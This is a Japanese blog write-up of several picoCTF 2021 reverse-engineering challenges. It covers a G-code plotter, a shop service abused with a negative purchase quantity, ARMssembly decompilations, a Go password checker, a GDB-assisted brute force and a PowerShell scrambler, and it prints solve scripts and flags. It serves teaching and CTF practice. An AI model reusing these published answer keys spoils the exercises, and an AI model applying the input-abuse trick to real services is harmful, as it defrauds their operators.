ヒントを見るとWhat language does a CNC machine use?と書かれていたので、CNCについて調べてみるとGコードなるものが見つかりました。

Gコードに従って線を引くプログラムを作成し実行するとフラグが出てきました。

from PIL import Image, ImageDraw, ImageOps
import re

data: str = open("data").read()

img = Image.new(("L"), (2000, 500))
draw = ImageDraw.Draw(img)

current_pos = ()

for line in data.splitlines()[1:]:
    if line.startswith("G0Z") or line.startswith("G1Z"):
        continue
    m = re.match(r"G([01])X([0-9]+?\.[0-9]+)Y(\-?[0-9]+\.[0-9]+)", line)
    mode, x, y = m.groups()
    if mode == "0":
        current_pos = (float(x) * 10, 250 + float(y) * 10)
    else:
        x1, y1 = current_pos
        x2, y2 = float(x) * 10, 250 + float(y) * 10
        draw.line((x1, y1, x2, y2), fill=(255))
        current_pos = (x2, y2)

img = ImageOps.flip(img)
img.show()
$ nc mercury.picoctf.net 7032 > data
$ python solve.py

f:id:miso_24:20210408184636p:plain

Shop

mercury.picoctf.net 34938で以下のようなプログラムが動作しています。

$ nc mercury.picoctf.net 34938
Welcome to the market!
=====================
You have 40 coins
    Item        Price   Count
(0) Quiet Quiches   10  12
(1) Average Apple   15  8
(2) Fruitful Flag   100 1
(3) Sell an Item
(4) Exit
Choose an option:
0
How many do you want to buy?
4
You have 0 coins
    Item        Price   Count
(0) Quiet Quiches   10  8
(1) Average Apple   15  8
(2) Fruitful Flag   100 1
(3) Sell an Item
(4) Exit
Choose an option:
4

Fruitful Flagを購入するとフラグが手に入りそうなのですが所持金は40 coinしかなく買えません。

そこで、Quiet Quichesを購入し個数を入力する時に負数を入力してみます。

$ nc mercury.picoctf.net 34938
Welcome to the market!
=====================
You have 40 coins
    Item        Price   Count
(0) Quiet Quiches   10  12
(1) Average Apple   15  8
(2) Fruitful Flag   100 1
(3) Sell an Item
(4) Exit
Choose an option:
0
How many do you want to buy?
-10
You have 140 coins
    Item        Price   Count
(0) Quiet Quiches   10  8
(1) Average Apple   15  8
(2) Fruitful Flag   100 1
(3) Sell an Item
(4) Exit
Choose an option:

そうすると、所持金が増えていることが確認できます。これでFruitful Flagを購入することができます。

nc mercury.picoctf.net 34938
Welcome to the market!
=====================
You have 40 coins
    Item        Price   Count
(0) Quiet Quiches   10  12
(1) Average Apple   15  8
(2) Fruitful Flag   100 1
(3) Sell an Item
(4) Exit
Choose an option:
0
How many do you want to buy?
-6
You have 100 coins
    Item        Price   Count
(0) Quiet Quiches   10  18
(1) Average Apple   15  8
(2) Fruitful Flag   100 1
(3) Sell an Item
(4) Exit
Choose an option:
2
How many do you want to buy?
1
Flag is:  [112 105 99 111 67 84 70 123 98 52 100 95 98 114 111 103 114 97 109 109 101 114 95 98 97 54 98 56 99 100 102 125]

後は文字列に変換するだけです。

$ python -c 'print("".join(chr(c) for c in [112, 105, 99, 111, 67, 84, 70, 123, 98, 52, 100, 95, 98, 114, 111, 103, 114, 97, 109, 109, 101, 114, 95, 98, 97, 54, 98, 56, 99, 100, 102, 125]))'
picoCTF{b4d_brogrammer_ba6b8cdf}

ARMssembly_1

ARMssembly_0と同様に与えられたアセンブリコードを読むだけです。

chall.Sを手動逆コンパイルすると以下のコードになります。

#include <stdio.h>

int func(int a) {
    int b = 85;
    int c = 6;
    int d = 3;
    int e = b << c;
    e = e / d;
    e = e - a;
    return e;
}

int main(int argc, char *argv[]) {
    int tmp = atoi(argv[1]);
    if (func(tmp) == 0) {
        puts("You Win!");
    } else {
        puts("You Lose :(");
    }
}

上のコードより(85 << 6) / 3を計算した値を入力するとeが0になり、You Win!が表示されます。

よって1813を16進8桁の値にしてpicoCTF{}で包んだpicoCTF{00000715}がフラグとなります。

ARMssembly 2

他のARMssemblyと同様に与えられたアセンブリコードを読むだけです。

chall.Sを手動逆コンパイルすると以下のコードになります。

#include <stdio.h>

unsigned long func(unsigned long a) {
    unsigned long tmp = 0;
    for (unsigned long i = 0; i < a; i++) {
        tmp += 3;
    }
    return tmp;
}

int main(int argc, char *argv[]) {
  unsigned long tmp = atoi(argv[1]);
  printf("Result: %ld\n", func(tmp));
}

実行時に与えられた第一引数を整数に変換し3倍しているだけです。

よって3848786505を3倍して16進数に変換し下8桁をpicoCTF{}で包んだpicoCTF{b03776db}がフラグとなります。

ARMssembly 3

他のARMssemblyと同様に与えられたアセンブリコードを読むだけです。

chall.Sを手動逆コンパイルすると以下のコードになります。

#include <stdio.h>

int func2(int a) {
    return a + 3;
}

int func1(int a) {
    int var_2 = 0;
    for (int i = a; a != 0; a >> 1) {
        if (i & 1 != 0) {
            var_2 = func2(var_2);
        }
    }
}

int main(int argc, char *argv[]) {
    int tmp = atoi(argv[1]);
    printf("Result: %ld", func1(tmp));
}

実行時に与えられた第一引数を整数に変換し、その値に立っているビットを数えて3倍するだけです。

3350728462を与えたときの結果を16進8桁にしたものは以下のようになります

$ python -c 'print("{:08x}".format(bin(3350728462).count("1")*3))'
00000030

よって、picoCTF{00000030}がフラグとなります。

gogo

enter_passwordというgoで書かれたプログラムのバイナリが渡されます。実行するとパスワードの入力を促されます。

$ ./enter_password
Enter Password:

とりあえずでコンパイルしてmain関数を見ていきます。

void main.main(void)

{
  uint *puVar1;
  int iVar2;
  int *in_GS_OFFSET;
  undefined4 *in_stack_ffffffac;
  undefined4 *puVar3;
  char cVar4;
  undefined *local_30;
  undefined **local_2c;
  undefined *local_28;
  undefined **local_24;
  undefined *local_20;
  undefined **local_1c;
  undefined *local_18 [2];
  undefined *local_10;
  undefined **local_c;
  undefined *local_8;
  undefined4 *local_4;
  undefined **ppuVar5;
  
  puVar1 = (uint *)(*(int *)(*in_GS_OFFSET + -4) + 8);
  if (register0x00000010 < (undefined *)*puVar1 ||
      (undefined *)register0x00000010 == (undefined *)*puVar1) {
    local_4 = (undefined4 *)0x80d4a7b;
    runtime.morestack_noctxt();
    main.main();
    return;
  }
  runtime.newobject(&DAT_080e8860);
  fmt.Printf(&DAT_080fea50,0x10,0,0,0);
  local_18[0] = &DAT_080e1300;
  ppuVar5 = local_18;
  fmt.Scanf(&DAT_080fd1b6,3,ppuVar5,1,1);
  cVar4 = (char)ppuVar5;
  main.checkPassword(*in_stack_ffffffac,in_stack_ffffffac[1]);
  if (cVar4 == '\0') {
    local_10 = &DAT_080e8860;
    local_c = &main.statictmp_3;
    fmt.Println(&local_10,1,1);
  }
  else {
    local_20 = &DAT_080e8860;
    local_1c = &main.statictmp_0;
    fmt.Println(&local_20,1,1);
    local_28 = &DAT_080e8860;
    local_24 = &main.statictmp_1;
    fmt.Println(&local_28,1,1);
    local_30 = &DAT_080e8860;
    local_2c = &main.statictmp_2;
    puVar3 = (undefined4 *)0x1;
    fmt.Println(&local_30,1,1);
    runtime.newobject(&DAT_080e8860);
    local_8 = &DAT_080e1300;
    local_4 = puVar3;
    fmt.Scanf(&DAT_080fd1b6,3,&local_8,1,1);
    main.ambush(*puVar3,puVar3[1]);
    iVar2 = runtime.deferproc(0,&PTR_main.get_flag_081046a0);
    if (iVar2 != 0) {
      runtime.deferreturn();
      return;
    }
  }
  runtime.deferreturn();
  return;
}

main.checkPassword関数でパスワードをチェックした後にもう一度入力を受け付けてmain.ambush関数を呼んでおり、その後にmain.get_flagが呼び出されそうです。

まず、main.checkPassword関数を見ていきます。

void main.checkPassword(int param_1,uint param_2,undefined param_3)

{
  uint *puVar1;
  uint uVar2;
  int iVar3;
  int *in_GS_OFFSET;
  undefined4 local_40;
  undefined4 local_3c;
  undefined4 local_38;
  undefined4 local_34;
  undefined4 local_30;
  undefined4 local_2c;
  undefined4 local_28;
  undefined4 local_24;
  byte local_20 [28];
  undefined4 uStack4;
  
  puVar1 = (uint *)(*(int *)(*in_GS_OFFSET + -4) + 8);
  if (register0x00000010 < (undefined *)*puVar1 ||
      (undefined *)register0x00000010 == (undefined *)*puVar1) {
    uStack4 = 0x80d4b72;
    runtime.morestack_noctxt();
    main.checkPassword();
    return;
  }
  if ((int)param_2 < 0x20) {
    os.Exit(0);
  }
  FUN_08090b18();
  local_40 = 0x38313638;
  local_3c = 0x31663633;
  local_38 = 0x64336533;
  local_34 = 0x64373236;
  local_30 = 0x37336166;
  local_2c = 0x62646235;
  local_28 = 0x39383338;
  local_24 = 0x65343132;
  FUN_08090fe0();
  uVar2 = 0;
  iVar3 = 0;
  while( true ) {
    if (0x1f < (int)uVar2) {
      if (iVar3 == 0x20) {
        return;
      }
      return;
    }
    if ((param_2 <= uVar2) || (0x1f < uVar2)) break;
    if ((*(byte *)(param_1 + uVar2) ^ *(byte *)((int)&local_40 + uVar2)) == local_20[uVar2]) {
      iVar3 = iVar3 + 1;
    }
    uVar2 = uVar2 + 1;
  }
  runtime.panicindex();
  do {
    invalidInstructionException();
  } while( true );
}

この関数を詳しく読んでPythonで書き直すと以下のようになります。

def checkPassword(inp: bytes, inp_len: int):
        local_20 = b"\x4a\x53\x47\x5d\x41\x45\x03\x54\x5d\x02\x5a\x0a\x53\x57\x45\x0d\x05\x00\x5d\x55\x54\x10\x01\x0e\x41\x55\x57\x4b\x45\x50\x46\x01"
    local_40 = b"861836f13e3d627dfa375bdb8389214e"
    
    if inp_len < 0x20:
      exit(0)
    
    uVar2 = 0
    iVar3 = 0
    while True:
        if 0x1f < uVar2:
            if iVar3 == 0x20:
                return 1
            else:
                return 0
        if inp[uVar2] ^ local_40[uVar2] == local_20[uVar2]:
            iVar3 += 1
        uVar2 += 1

書き直したPythonコードから正しいパスワードとlocal_40でxorをとったものがlocal_20になればいいとわかるので、local_40とlocal_20でxorをとればパスワードが求められます。よって、パスワードはreverseengineericanbarelyforwardだとわかります。

次に、main.ambush関数を見ていきます。

void main.ambush(undefined4 param_1,undefined4 param_2)

{
  uint *puVar1;
  char cVar2;
  uint i;
  int *in_GS_OFFSET;
  int local_88;
  uint local_84;
  uint local_80;
  undefined local_70 [16];
  undefined4 local_60;
  undefined4 local_5c;
  undefined4 local_58;
  undefined4 local_54;
  undefined4 local_50;
  undefined4 local_4c;
  undefined4 local_48;
  undefined4 local_44;
  undefined local_40 [32];
  undefined local_20 [12];
  undefined local_14 [16];
  undefined4 uStack4;
  
  puVar1 = (uint *)(*(int *)(*in_GS_OFFSET + -4) + 8);
  if (local_14 < (undefined *)*puVar1 || local_14 == (undefined *)*puVar1) {
    uStack4 = 0x80d4e4b;
    runtime.morestack_noctxt();
    main.ambush();
    return;
  }
  runtime.stringtoslicebyte(local_40,param_1,param_2);
  crypto/md5.Sum(local_88,local_84,local_80);
  FUN_08091008();
  FUN_08090b18();
  local_60 = 0x38313638;
  local_5c = 0x31663633;
  local_58 = 0x64336533;
  local_54 = 0x64373236;
  local_50 = 0x37336166;
  local_4c = 0x62646235;
  local_48 = 0x39383338;
  local_44 = 0x65343132;
  uVar3 = 0;
  while( true ) {
    if (0xf < (int)uVar3) {
      return;
    }
    encoding/hex.EncodeToString(local_70,0x10,0x10);
    if (local_84 <= uVar3) break;
    cVar2 = *(char *)(uVar3 + local_88);
    local_88 = 0x20;
    runtime.slicebytetostring(local_20,&local_60,0x20);
    if (local_80 <= uVar3) break;
    if (cVar2 != *(char *)(local_84 + uVar3)) {
      os.Exit(0);
    }
    i = i + 1;
  }
  runtime.panicindex();
  do {
    invalidInstructionException();
  } while( true );
}

この関数をPythonで大まかに書き直すと以下のようになります。

import hashlib
import binascii

def ambush(inp: bytes, inp_len: int):
    local_60 = "861836f13e3d627dfa375bdb8389214e"
    local_88 = hashlib.md5(inp).digest()
    
    uVar3 = 0
    while True:
        if 0xf < uVar3:
            return
        cVar2 = local_88[uVar3]
        local_84 = binascii.unhexlify(local_60)
        if cVar2 != local_84[uVar3]:
            exit(0)
        uVar3 += 1

入力した文字列のmd5ハッシュを求め861836f13e3d627dfa375bdb8389214eかどうかチェックしているだけです。md5ハッシュが861836f13e3d627dfa375bdb8389214eとなる文字列をcrackstationで探すとgoldfishが見つかりました。

後は得られた2つの文字列を順番に入力すればフラグが手に入ります。

$ nc mercury.picoctf.net 35862
Enter Password: reverseengineericanbarelyforward
=========================================
This challenge is interrupted by psociety
What is the unhashed key?
goldfish
Flag is:  picoCTF{p1kap1ka_p1c05729981f}

Goで書かれたプログラムのデコンパイル結果は少し読みにくいので逆アセンブル結果も併せて読むと理解しやすいと思います。

Easy as GDB

bruteというELF形式の実行ファイルが与えられます。実行してみるとフラグの入力を求められます。

$ ./brute
input the flag: hogehoge
checking solution...
Incorrect.

Ghidraでデコンパイルしてmain関数を見ていきます。

undefined4 FUN_000109af(void)

{
  char *__s;
  size_t sVar1;
  undefined4 uVar2;
  int iVar3;
  
  __s = (char *)calloc(0x200,1);
  printf("input the flag: ");
  fgets(__s,0x200,stdin);
  sVar1 = strnlen(&DAT_00012008,0x200);
  uVar2 = FUN_0001082b(__s,sVar1);
  FUN_000107c2(uVar2,sVar1,1);
  iVar3 = FUN_000108c4(uVar2,sVar1);
  if (iVar3 == 1) {
    puts("Correct!");
  }
  else {
    puts("Incorrect.");
  }
  return 0;
}

fgetsで標準入力から文字列を受け取り、FUN_000107c2FUN_0001082bに渡しています。

FUN_000107c2は第一引数として与えられた文字列を並び替える関数で第三引数が1かそれ以外かで動作が異なります。FUN_000107c2の第三引数に1を与えて並び替えた後に、第三引数に1ではない値を与えてもう一度呼び出すと元の並びに戻る点が重要です。

FUN_0001082bは第一引数として与えられた文字列と何らかの値でxorを取る関数です。

FUN_000108c4の返り値を見て正解か不正解かを判断しているので、FUN_000108c4を見てみます。

undefined4 FUN_000108c4(char *param_1,uint param_2)

{
  char *__dest;
  char *__dest_00;
  uint local_18;
  
  __dest = (char *)calloc(param_2 + 1,1);
  strncpy(__dest,param_1,param_2);
  FUN_000107c2(__dest,param_2,0xffffffff);
  __dest_00 = (char *)calloc(param_2 + 1,1);
  strncpy(__dest_00,&DAT_00012008,param_2);
  FUN_000107c2(__dest_00,param_2,0xffffffff);
  puts("checking solution...");
  local_18 = 0;
  while( true ) {
    if (param_2 <= local_18) {
      return 1;
    }
    if (__dest[local_18] != __dest_00[local_18]) break;
    local_18 = local_18 + 1;
  }
  return 0xffffffff;
}

whileの部分を見ると__dest__dest_00を一文字ずつ比較し全て一致していれば1そうでなければ-1を返しています。

gdbを使ってwhile文に入る前の__dest__dest_00の中身を見てみます。

gdb -q brute
pwndbg: loaded 193 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from brute...(no debugging symbols found)...done.
pwndbg> b *0x56555953
Breakpoint 1 at 0x56555953
pwndbg> r
Starting program: /home/vagrant/picoCTF_2021/easy_as_gdb/brute
input the flag: hogehoge

Breakpoint 1, 0x56555953 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────
 EAX  0x1e
 EBX  0x56556fb8 ◂— 0x1ec0
 ECX  0x56558bf0 ◂— 0x68406e2e ('.n@h')
 EDX  0x56558c0d ◂— 0x7a /* 'z' */
 EDI  0x0
 ESI  0xf7fb1000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
 EBP  0xffffd8e8 —▸ 0xffffd918 ◂— 0x0
 ESP  0xffffd8c0 —▸ 0x56558bf0 ◂— 0x68406e2e ('.n@h')
 EIP  0x56555953 ◂— add    esp, 0x10
────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────
 ► 0x56555953    add    esp, 0x10
   0x56555956    sub    esp, 0xc
   0x56555959    lea    eax, [ebx - 0x1468]
   0x5655595f    push   eax
   0x56555960    call   puts@plt <puts@plt>

   0x56555965    add    esp, 0x10
   0x56555968    mov    dword ptr [ebp - 0x18], 1
   0x5655596f    mov    dword ptr [ebp - 0x14], 0
   0x56555976    jmp    0x5655599f <0x5655599f>

   0x56555978    mov    edx, dword ptr [ebp - 0x10]
   0x5655597b    mov    eax, dword ptr [ebp - 0x14]
─────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────
00:0000│ esp  0xffffd8c0 —▸ 0x56558bf0 ◂— 0x68406e2e ('.n@h')
01:0004│      0xffffd8c4 ◂— 0x1e
02:0008│      0xffffd8c8 ◂— 0xffffffff
03:000c│      0xffffd8cc —▸ 0x565558d0 ◂— add    ebx, 0x16e8
04:0010│      0xffffd8d0 ◂— 0x1e
05:0014│      0xffffd8d4 ◂— 0x1d
06:0018│      0xffffd8d8 —▸ 0x56558bc0 ◂— 0x62446836 ('6hDb')
07:001c│      0xffffd8dc —▸ 0x56558bf0 ◂— 0x68406e2e ('.n@h')
───────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────
 ► f 0 56555953
   f 1 56555a60
   f 2 f7df1f21 __libc_start_main+241
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/s 0x56558bc0
0x56558bc0: "6hDb6hDbT\a#\a^\a#\a^\a#\a^\a#\a^\a#\a^\a"
pwndbg> x/s 0x56558bf0
0x56558bf0: ".n@h\035Se|\027X\026CmXb6oCb0\001b\026\063k?@e8z"
pwndbg>

hogehogeと入力した時の__dest6hDb6hDbT\a#\a^\a#\a^\a#\a^\a#\a^\a#\a^\aとなっており、__dest_00.n@h\035Se|\027X\026CmXb6oCb0\001b\026\063k?@e8zとなっています。

__destに着目します。

__destはparam_1をコピーしてFUN_000107c2で並び替らえた文字列です。そのparam_1はfgetsで取得した文字列をFUN_0001082bで加工しFUN_000107c2で並び替えたものです。二度FUN_000107c2に通されており、最初のFUN_000107c2では第三引数に1を与えられ2度目のFUN_000107c2では第三引数に-1を与えられているため並べ替えをしていないのと同等です。つまり、入力した文字列をFUN_0001082bに通しただけの状態となっています。

よって、FUN_0001082bを通して.n@h\035Se|\027X\026CmXb6oCb0\001b\026\063k?@e8zとなる文字列を総当りで求めるとフラグが手に入ります。

from itertools import product
import string

def FUN_0001082b(s, slen):
    buf = s + bytearray((slen & 0xfffffffc) + 4 - len(s))
    ctr = 0xabcf00d
    while (ctr < 0xdeadbeef):
        buf = FUN_000106bd(buf, (slen & 0xfffffffc) + 4, ctr)
        ctr += 0x1fab4d
    return buf

def FUN_000106bd(buf, slen, val):
    local = [
        (val >> 0x18) & 0xff,
        (val >> 0x10) & 0xff,
        (val >> 8) & 0xff,
        val & 0xff
    ]
    ctr = 0
    while ctr < slen:
        buf[ctr] = buf[ctr] ^ local[ctr % 4]
        ctr += 1
    return buf

expected = bytearray(b".n@h\035Se|\027X\026CmXb6oCb0\001b\026\063k?@e8z")

candidates = string.printable

flag = bytearray(b"picoCTF{")

for i in range(len(expected) - len(flag)):
    for c in candidates:
        tmp_flag = flag + c.encode()
        tmp = FUN_0001082b(tmp_flag, len(expected))
        idx = len(tmp_flag)
        if tmp[idx-1] == expected[idx-1]:
            break
    flag = tmp_flag
    print(f"[+] flag: {flag}")
$ python solve.py
[+] flag: bytearray(b'picoCTF{I')
[+] flag: bytearray(b'picoCTF{I_')
[+] flag: bytearray(b'picoCTF{I_5')
[+] flag: bytearray(b'picoCTF{I_5D')
[+] flag: bytearray(b'picoCTF{I_5D3')
[+] flag: bytearray(b'picoCTF{I_5D3_')
[+] flag: bytearray(b'picoCTF{I_5D3_A')
[+] flag: bytearray(b'picoCTF{I_5D3_A1')
[+] flag: bytearray(b'picoCTF{I_5D3_A11')
[+] flag: bytearray(b'picoCTF{I_5D3_A11D')
[+] flag: bytearray(b'picoCTF{I_5D3_A11DA')
[+] flag: bytearray(b'picoCTF{I_5D3_A11DA7')
[+] flag: bytearray(b'picoCTF{I_5D3_A11DA7_')
[+] flag: bytearray(b'picoCTF{I_5D3_A11DA7_e')
[+] flag: bytearray(b'picoCTF{I_5D3_A11DA7_e5')
[+] flag: bytearray(b'picoCTF{I_5D3_A11DA7_e54')
[+] flag: bytearray(b'picoCTF{I_5D3_A11DA7_e545')
[+] flag: bytearray(b'picoCTF{I_5D3_A11DA7_e5458')
[+] flag: bytearray(b'picoCTF{I_5D3_A11DA7_e5458c')
[+] flag: bytearray(b'picoCTF{I_5D3_A11DA7_e5458cb')
[+] flag: bytearray(b'picoCTF{I_5D3_A11DA7_e5458cbf')
[+] flag: bytearray(b'picoCTF{I_5D3_A11DA7_e5458cbf}')

ARMssembly 4

他のARMssemblyと同様に与えられたアセンブリコードを読むだけです。

chall.Sを手動逆コンパイルすると以下のコードになります。

// decompile.c
#include <stdio.h>

typedef unsigned int uint;

uint func1(uint);
uint func2(uint);
uint func3(uint);
uint func4(uint);
uint func5(uint);
uint func6(uint);
uint func7(uint);
uint func8(uint);

uint func8(uint a) {
    return a + 2;
}

uint func7(uint a) {
    if (a > 100) {
        return a;
    } else {
        return 7;
    }
}

uint func6(uint a) {
    uint b = 314;
    uint c = 1932;
    for (uint i = 0; i <= 899; i++) {
        a = (800 * c) - ((800 * c) / b) * b;
    }
    return a;
}

uint func5(uint a) {
    a = func8(a);
    return a;
}

uint func4(uint a) {
    uint b = 17;
    b = func1(b);
    return a;
}

uint func3(uint a) {
    return func7(a);
}

uint func2(uint a) {
    if (a <= 499) {
        return func4(a - 86);
    } else {
        return func5(a + 13);
    }
}

uint func1(uint a) {
    if (a > 100) {
        return func2(a + 100);
    } else {
        return func3(a);
    }
}

int main(int argc, char *argv[]) {
    uint tmp = atoi(argv[1]);
    printf("Result: %ld\n", func1(tmp));
}

これをコンパイルして引数に3964545182を与えて実行してみます。

$ gcc -o decompile decompile.c
$ ./decompile 3964545182
Result: 3964545297

3964545297と出てきました。これを16進8桁の値に変換してpicoCTF{}で包んだpicoCTF{ec4e2911}がフラグとなります。

Powershelly

rev_PS.ps1とoutput.txtが与えられます。

$input = ".\input.txt"

$out = Get-Content -Path $input
$enc = [System.IO.File]::ReadAllBytes("$input")
$encoding = [system.Text.Encoding]::UTF8
$total = 264
$t = ($total + 1) * 5
$numLength = ($total * 30 ) + $t
if ($out.Length -gt 5 -or $enc.count -ne $numLength)
{
  Write-Output "Wrong format 5"
  Exit
}

else
{
  for($i=0; $i -lt $enc.count ; $i++)
  {
    if (($enc[$i] -ne 49) -and ($enc[$i] -ne 48) -and ($enc[$i] -ne 10) -and ($enc[$i] -ne 13) -and ($enc[$i] -ne 32))
    {
      Write-Output "Wrong format 1/0/"
      Exit
    }
  }
}

$blocks = @{}
for ($i=0; $i -lt $out.Length ; $i++)
{
  $r = $out[$i].Split(" ")
  if ($i -gt 0)
  {
    for ($j=0; $j -lt $r.Length ; $j++)
    {
    if ($r[$j].Length -ne 6)
    {
      Write-Output "Wrong Format 6" $r[$j].Length
      Exit
    }
      $blocks[$j] += $r[$j]
    }
  }
  else
  {
    for ($j=0; $j -lt $r.Length ; $j++)
    {
    if ($r[$j].Length -ne 6)
    {
      Write-Output "Wrong Format 6" $r[$j].Length
      Exit
    }
      $blocks[$j] = @()
      $blocks[$j] += $r[$j]
    }
  }

}


function Exit  {
  exit
}


function Random-Gen {
  $list1 = @()
  for ($i=1; $i -lt ($blocks.count + 1); $i++)
  {
    $y = ((($i * 327) % 681 ) + 344) % 313
    $list1 += $y
  }
  return $list1
}


function Scramble {
    param (
        $block,
        $seed
    )
    $raw = [system.String]::Join("", $block)
    $bm = "10 " * $raw.Length
    $bm = $bm.Split(" ")
    for ($i=0; $i -lt $raw.Length ; $i++)
    {

      $y = ($i * $seed) % $raw.Length
      $n = $bm[$y]
      while ($n -ne "10")
      {
        $y = ($y + 1) % $raw.Length
        $n = $bm[$y]
      }
      if ($raw[$i] -eq "1" )
      {
        $n = "11"
      }
      else
      {
      $n = "00"
      }
      $bm[$y] = $n
    }
    $raw2 = [system.String]::Join("", $bm)
    $b = [convert]::ToInt64($raw2,2)
    return $b
}


$result = 0
$seeds = @()
for ($i=1; $i -lt ($blocks.count +1); $i++)
{
  $seeds += ($i * 127) % 500
}

$randoms = Random-Gen
$output_file = @()
for ($i=0; $i -lt $blocks.count ; $i++)
{

  $fun = Scramble -block $blocks[$i] -seed $seeds[$i]
  if($i -eq 263)
  {
  Write-Output $seeds[$i]
  Write-Output $randoms[$i]
  Write-Output $fun
  }
  $result = $fun -bxor $result -bxor $randoms[$i]
  $output_file += $result
}
  Add-Content -Path output.txt -Value $output_file

大まかに処理をまとめると

  1. input.txtの読み込み。正しい形式でない場合Wrong Formatと表示して終了
  2. seedsとrandomsの生成
  3. iがblock数より大きければoutput_fileをoutput.txtというファイルに保存。そうでなければ以下の処理を行う
  4. Scramble関数でi番目のblockの中身をかき混ぜる
  5. funと直前のresultでxorをとり、さらにi番目の乱数とxorをとる。これをresultに代入する
  6. resultをoutput_fileに追加する
  7. iに1加えて3に戻る

このようになっています。

Scramble関数に着目します。この関数では与えられたblockの中身をかき混ぜているのですが、どう混ぜるかはseedによって決まっています。このseedは既にわかっている情報です。よって、どことどこが入れ替わっているか求めることができ元のblockを復元できます。

後は1番目のブロック、2番目のブロック...と順番に復元していけばinput.txtを復元できます。

MAX_BLOCK = 265

def random_gen(blocks_num):
    list1 = []
    for i in range(1, blocks_num + 1):
        y = (((i * 327) % 681) + 344) % 313
        list1.append(y)
    return list1

def scramble(raw_block, seed):
    bm = ("10 " * len(raw_block)).split(" ")
    for i in range(0, len(raw_block)):
        y = (i * seed) % len(raw_block)
        n = bm[y]
        while n != "10":
            y = (y + 1) % len(raw_block)
            n = bm[y]
        if raw_block[i] == "1":
            n = "11"
        else:
            n = "00"
        bm[y] = n
    return int("".join(bm), 2)

seeds = []
for i in range(1, blocks_num + 1):
    seeds.append((i * 127) % 500)
return seeds
    
randoms = random_gen(MAX_BLOCK)

with open("output.txt") as f:
    before_res = 0
    blocks = []
    for i, line in enumerate(f.readlines()):
        x = before_res ^ int(line) ^ randoms[i]

        raw_length = 30
        
        indices = []
        result_s = "0" * raw_length
        x_s = bin(x)[2:].replace("11", "1").replace("00", "0")
        x_s = "0" * (raw_length - len(x_s)) + x_s

        for j in range(0, raw_length):
            y = (j * seeds[i]) % raw_length
            while y in indices:
                y = (y + 1) % raw_length
            result_s = result_s[:j] + x_s[y] + result_s[j+1:]
            indices.append(y)

        assert x == scramble(result_s, seeds[i])
        blocks.append([result_s[i:i+6] for i in range(0, raw_length, 6)])
        before_res = int(line)

lines = ["" for _ in range(5)]
for block in blocks:
    for i in range(5):
        lines[i] += block[i]

with open("input.txt", "w") as f:
    for line in lines:
        f.write(line+"\n")
$ python rev.py
$ cat input.txt
100001110011110011110011100001100001100001100001100001110011110011100001110011100001100001110011100001110011110011100001100001100001110011110011100001110011110011100001110011110011110011110011100001110011100001100001100001100001110011110011100001110011100001110011100001110011100001100001100001110011100001100001100001110011110011100001100001110011110011110011110011100001110011110011100001100001110011110011100001100001110011100001100001100001110011110011100001100001100001100001100001100001110011110011100001100001100001110011100001100001110011110011110011100001100001100001100001110011110011100001110011100001100001100001100001110011110011100001110011100001100001110011100001110011110011100001100001110011110011110011100001110011110011100001110011100001100001100001100001110011110011110011100001110011110011110011100001110011100001100001100001100001100001100001100001110011110011110011110011100001100001110011100001110011100001110011110011110011110011110011100001100001110011110011100001100001110011100001100001110011100001110011110011110011110011110011100001110011110011110011100001100001100001100001100001110011110011100001110011110011110011110011100001110011110011110011100001110011110011110011100001100001110011110011100001100001110011110011100001110011110011110011100001100001110011100001100001100001110011100001100001110011100001100001100001110011110011100001110011100001100001100001100001110011110011100001100001110011100001110011100001110011110011100001110011110011100001100001100001100001110011100001100001100001100001110011100001110011110011110011110011110011100001110011
001100100011100011100011001100001100001100001100001100100011100011001100100011001100001100100011001100100011100011001100001100001100100011100011001100100011100011001100100011100011100011100011001100100011001100001100001100001100100011100011001100100011001100100011001100100011001100001100001100100011001100001100001100100011100011001100001100100011100011100011100011001100100011100011001100001100100011100011001100001100100011001100001100001100100011100011001100001100001100001100001100001100100011100011001100001100001100100011001100001100100011100011100011001100001100001100001100100011100011001100100011001100001100001100001100100011100011001100100011001100001100100011001100100011100011001100001100100011100011100011001100100011100011001100100011001100001100001100001100100011100011100011001100100011100011100011001100100011001100001100001100001100001100001100001100100011100011100011100011001100001100100011001100100011001100100011100011100011100011100011001100001100100011100011001100001100100011001100001100100011001100100011100011100011100011100011001100100011100011100011001100001100001100001100001100100011100011001100100011100011100011100011001100100011100011100011001100100011100011100011001100001100100011100011001100001100100011100011001100100011100011100011001100001100100011001100001100001100100011001100001100001100100011001100001100100011100011001100100011001100001100001100001100100011100011001100001100100011001100100011001100100011100011001100100011100011001100001100001100001100100011001100001100001100001100100011001100100011100011100011100011100011001100100011
001100110011110011110011001100001100001100001100001100110011110011001100110011001100001100110011001100110011110011001100001100001100110011110011001100110011110011001100110011110011110011110011001100110011001100001100001100001100110011110011001100110011001100110011001100110011001100001100001100110011001100001100001100110011110011001100001100110011110011110011110011001100110011110011001100001100110011110011001100001100110011001100001100001100110011110011001100001100001100001100001100001100110011110011001100001100001100110011001100001100110011110011110011001100001100001100001100110011110011001100110011001100001100001100001100110011110011001100110011001100001100110011001100110011110011001100001100110011110011110011001100110011110011001100110011001100001100001100001100110011110011110011001100110011110011110011001100110011001100001100001100001100001100001100001100110011110011110011110011001100001100110011001100110011001100110011110011110011110011110011001100001100110011110011001100001100110011001100001100110011001100110011110011110011110011110011001100110011110011110011001100001100001100001100001100110011110011001100110011110011110011110011001100110011110011110011001100110011110011110011001100001100110011110011001100001100110011110011001100110011110011110011001100001100110011001100001100001100110011001100001100110011001100001100001100110011110011001100110011001100001100001100001100110011110011001100001100110011001100110011001100110011110011001100110011110011001100001100001100001100110011001100001100001100001100110011001100110011110011110011110011110011001100110011
